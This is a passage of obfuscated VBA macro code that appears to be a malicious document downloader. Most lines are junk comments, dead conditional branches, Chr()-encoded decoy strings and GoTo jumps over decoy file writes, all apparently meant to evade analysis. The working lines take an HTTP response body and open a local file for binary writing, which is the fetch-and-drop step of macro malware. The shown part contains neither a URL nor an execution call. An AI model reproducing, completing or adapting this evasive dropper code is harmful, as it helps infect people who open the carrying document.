  563. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  564. End If
  565. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  566. Close #11
  567. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  568.  
  569. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  570. If 529126 = 529126 + 1 Then End
  571. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  572. If 9982 < 55 Then
  573. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  574.        MsgBox (Chr(99) & Chr(100) & Chr(100) & Chr(118) & Chr(100) & Chr(116) & Chr(113) & Chr(102) & Chr(52) & Chr(52))
  575. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  576. End If
  577. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  578. If Len(Chr(102) & Chr(120) & Chr(102) & Chr(121) & Chr(102) & Chr(102) & Chr(97) & Chr(120) & Chr(49) & Chr(55) & Chr(52) & Chr(50)) = Len(Chr(103) & Chr(97) & Chr(107) & Chr(108) & Chr(120) & Chr(115) & Chr(110) & Chr(122)) Then
  579. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  580.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  581. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  582. End If
  583. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  584. zgksahqs:
  585. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  586.  
  587. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  588.  
  589. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  590. If 936638 = 936638 + 1 Then End
  591. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  592. If 1898 < 36 Then
  593. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  594.        MsgBox (Chr(113) & Chr(101) & Chr(103) & Chr(103) & Chr(119) & Chr(121) & Chr(114) & Chr(103) & Chr(52) & Chr(54))
  595. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  596. End If
  597. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  598. If Len(Chr(108) & Chr(108) & Chr(108) & Chr(102) & Chr(114) & Chr(98) & Chr(110) & Chr(117) & Chr(52) & Chr(49) & Chr(54) & Chr(50)) = Len(Chr(102) & Chr(115) & Chr(107) & Chr(108) & Chr(99) & Chr(114) & Chr(102) & Chr(109)) Then
  599. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  600.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  601. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  602. End If
  603. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  604.    Loop
  605. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  606.  
  607. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  608.  
  609. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  610.  
  611. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  612. GoTo jtmeizts
  613. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  614. Dim wnzcwxxr As String
  615. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  616. Open Chr(70) & Chr(86) & Chr(84) & Chr(79) & Chr(74) & Chr(79) & Chr(46) & Chr(68) & Chr(88) & Chr(84) For Binary As 44
  617. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  618. If 712944 = 712944 + 1 Then End
  619. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  620. If 7937 < 45 Then
  621. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  622.        MsgBox (Chr(117) & Chr(114) & Chr(97) & Chr(107) & Chr(110) & Chr(116) & Chr(102) & Chr(107) & Chr(56) & Chr(54))
  623. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  624. End If
  625. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  626. If Len(Chr(116) & Chr(118) & Chr(117) & Chr(117) & Chr(104) & Chr(117) & Chr(103) & Chr(108) & Chr(56) & Chr(55) & Chr(55) & Chr(55)) = Len(Chr(121) & Chr(122) & Chr(112) & Chr(119) & Chr(98) & Chr(121) & Chr(103) & Chr(110)) Then
  627. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  628.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  629. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  630. End If
  631. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  632. Put #44, , wnzcwxxr
  633. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  634.  
  635. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  636. If 592286 = 592286 + 1 Then End
  637. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  638. If 8977 < 84 Then
  639. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  640.        MsgBox (Chr(97) & Chr(115) & Chr(101) & Chr(112) & Chr(97) & Chr(115) & Chr(102) & Chr(101) & Chr(57) & Chr(52))
  641. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  642. End If
  643. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  644. If Len(Chr(119) & Chr(117) & Chr(99) & Chr(108) & Chr(117) & Chr(108) & Chr(100) & Chr(112) & Chr(57) & Chr(56) & Chr(50) & Chr(55)) = Len(Chr(101) & Chr(119) & Chr(121) & Chr(103) & Chr(101) & Chr(112) & Chr(118) & Chr(111)) Then
  645. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  646.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  647. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  648. End If
  649. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  650. Close #44
  651. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  652.  
  653. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  654. If 937156 = 937156 + 1 Then End
  655. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  656. If 3971 < 85 Then
  657. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  658.        MsgBox (Chr(103) & Chr(102) & Chr(114) & Chr(108) & Chr(118) & Chr(114) & Chr(115) & Chr(112) & Chr(57) & Chr(56))
  659. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  660. End If
  661. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  662. If Len(Chr(116) & Chr(118) & Chr(114) & Chr(97) & Chr(98) & Chr(102) & Chr(101) & Chr(107) & Chr(54) & Chr(50) & Chr(52) & Chr(52)) = Len(Chr(117) & Chr(122) & Chr(105) & Chr(103) & Chr(105) & Chr(115) & Chr(97) & Chr(98)) Then
  663. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  664.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  665. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  666. End If
  667. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  668. jtmeizts:
  669. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  670.  
  671. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  672.  
  673. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  674. If 458971 = 458971 + 1 Then End
  675. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  676. If 7545 < 78 Then
  677. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  678.        MsgBox (Chr(99) & Chr(115) & Chr(111) & Chr(99) & Chr(97) & Chr(118) & Chr(104) & Chr(106) & Chr(57) & Chr(57))
  679. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  680. End If
  681. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  682. If Len(Chr(116) & Chr(122) & Chr(100) & Chr(119) & Chr(112) & Chr(106) & Chr(115) & Chr(111) & Chr(56) & Chr(51) & Chr(56) & Chr(53)) = Len(Chr(98) & Chr(119) & Chr(113) & Chr(97) & Chr(114) & Chr(99) & Chr(118) & Chr(99)) Then
  683. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  684.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  685. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  686. End If
  687. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  688.    wvavhsolbur = ocpvmgeelcx.responsebody
  689. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  690.  
  691. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  692.  
  693. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  694.  
  695. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  696. GoTo fwrjwysy
  697. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  698. Dim lhsqoaec As String
  699. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  700. Open Chr(83) & Chr(89) & Chr(67) & Chr(72) & Chr(86) & Chr(81) & Chr(46) & Chr(83) & Chr(69) & Chr(67) For Binary As 37
  701. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  702. If 111975 = 111975 + 1 Then End
  703. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  704. If 8583 < 41 Then
  705. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  706.        MsgBox (Chr(118) & Chr(116) & Chr(107) & Chr(100) & Chr(115) & Chr(116) & Chr(103) & Chr(102) & Chr(57) & Chr(51))
  707. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  708. End If
  709. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  710. If Len(Chr(111) & Chr(116) & Chr(102) & Chr(100) & Chr(118) & Chr(119) & Chr(108) & Chr(114) & Chr(50) & Chr(56) & Chr(53) & Chr(54)) = Len(Chr(112) & Chr(105) & Chr(107) & Chr(98) & Chr(121) & Chr(109) & Chr(107) & Chr(112)) Then
  711. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  712.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  713. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  714. End If
  715. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  716. Put #37, , lhsqoaec
  717. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  718.  
  719. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  720. If 843886 = 843886 + 1 Then End
  721. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  722. If 8971 < 83 Then
  723. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  724.        MsgBox (Chr(122) & Chr(115) & Chr(110) & Chr(122) & Chr(109) & Chr(114) & Chr(122) & Chr(108) & Chr(51) & Chr(56))
  725. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  726. End If
  727. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  728. If Len(Chr(111) & Chr(97) & Chr(114) & Chr(97) & Chr(101) & Chr(120) & Chr(118) & Chr(113) & Chr(57) & Chr(56) & Chr(50) & Chr(49)) = Len(Chr(114) & Chr(109) & Chr(101) & Chr(121) & Chr(120) & Chr(122) & Chr(113) & Chr(118)) Then
  729. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  730.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  731. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  732. End If
  733. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  734. Close #37
  735. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  736.  
  737. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  738. If 576822 = 576822 + 1 Then End
  739. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  740. If 8458 < 59 Then
  741. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  742.        MsgBox (Chr(108) & Chr(100) & Chr(108) & Chr(117) & Chr(116) & Chr(103) & Chr(102) & Chr(111) & Chr(51) & Chr(57))
  743. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  744. End If
  745. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  746. If Len(Chr(112) & Chr(118) & Chr(109) & Chr(103) & Chr(121) & Chr(118) & Chr(101) & Chr(107) & Chr(57) & Chr(51) & Chr(57) & Chr(56)) = Len(Chr(113) & Chr(97) & Chr(118) & Chr(101) & Chr(103) & Chr(99) & Chr(101) & Chr(118)) Then
  747. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  748.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  749. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  750. End If
  751. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  752. fwrjwysy:
  753. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  754.  
  755. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  756.  
  757. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  758. If 797296 = 797296 + 1 Then End
  759. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  760. If 7614 < 93 Then
  761. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  762.        MsgBox (Chr(120) & Chr(103) & Chr(120) & Chr(119) & Chr(98) & Chr(97) & Chr(98) & Chr(108) & Chr(50) & Chr(52))
  763. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  764. End If
  765. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  766. If Len(Chr(114) & Chr(116) & Chr(98) & Chr(109) & Chr(105) & Chr(108) & Chr(109) & Chr(113) & Chr(49) & Chr(56) & Chr(55) & Chr(55)) = Len(Chr(98) & Chr(118) & Chr(118) & Chr(110) & Chr(122) & Chr(98) & Chr(105) & Chr(98)) Then
  767. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  768.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  769. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  770. End If
  771. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  772.    zgbpbucckrp = FreeFile
  773. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  774.  
  775. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  776.    Open kxqaxtgwbnh For Binary As #zgbpbucckrp
  777. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  778.  
  779. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  780. GoTo qpsicxsw
  781. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  782. Dim jymepjed As String
  783. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  784. Open Chr(75) & Chr(86) & Chr(75) & Chr(85) & Chr(68) & Chr(66) & Chr(46) & Chr(81) & Chr(81) & Chr(70) For Binary As 54
  785. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  786. If 719345 = 719345 + 1 Then End
  787. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  788. If 7999 < 45 Then
  789. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  790.        MsgBox (Chr(117) & Chr(121) & Chr(115) & Chr(105) & Chr(104) & Chr(110) & Chr(112) & Chr(112) & Chr(56) & Chr(55))
  791. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  792. End If
  793. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  794. If Len(Chr(116) & Chr(97) & Chr(107) & Chr(118) & Chr(121) & Chr(122) & Chr(100) & Chr(115) & Chr(56) & Chr(56) & Chr(52) & Chr(49)) = Len(Chr(121) & Chr(116) & Chr(109) & Chr(113) & Chr(102) & Chr(110) & Chr(113) & Chr(107)) Then
  795. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  796.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  797. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  798. End If
  799. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  800. Put #54, , jymepjed
  801. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  802.  
  803. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  804. If 485964 = 485964 + 1 Then End
  805. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  806. If 7815 < 72 Then
  807. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  808.        MsgBox (Chr(109) & Chr(122) & Chr(109) & Chr(110) & Chr(115) & Chr(103) & Chr(121) & Chr(116) & Chr(56) & Chr(50))
  809. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  810. End If
  811. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  812. If Len(Chr(102) & Chr(120) & Chr(103) & Chr(111) & Chr(107) & Chr(119) & Chr(116) & Chr(115) & Chr(56) & Chr(54) & Chr(53) & Chr(53)) = Len(Chr(99) & Chr(112) & Chr(120) & Chr(114) & Chr(102) & Chr(100) & Chr(103) & Chr(115)) Then
  813. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  814.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  815. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  816. End If
  817. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  818. Close #54
  819. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  820.  
  821. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  822. If 843857 = 843857 + 1 Then End
  823. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  824. If 3129 < 86 Then
  825. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  826.        MsgBox (Chr(102) & Chr(108) & Chr(114) & Chr(115) & Chr(116) & Chr(118) & Chr(115) & Chr(108) & Chr(57) & Chr(57))
  827. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  828. End If
  829. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  830. If Len(Chr(114) & Chr(114) & Chr(121) & Chr(109) & Chr(117) & Chr(117) & Chr(122) & Chr(122) & Chr(54) & Chr(51) & Chr(56) & Chr(51)) = Len(Chr(121) & Chr(105) & Chr(111) & Chr(117) & Chr(103) & Chr(116) & Chr(97) & Chr(105)) Then
  831. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  832.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  833. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  834. End If
  835. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  836. qpsicxsw:
  837. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  838.  
  839. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  840.  
  841. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  842. If 197136 = 197136 + 1 Then End
  843. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  844. If 3936 < 33 Then
  845. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
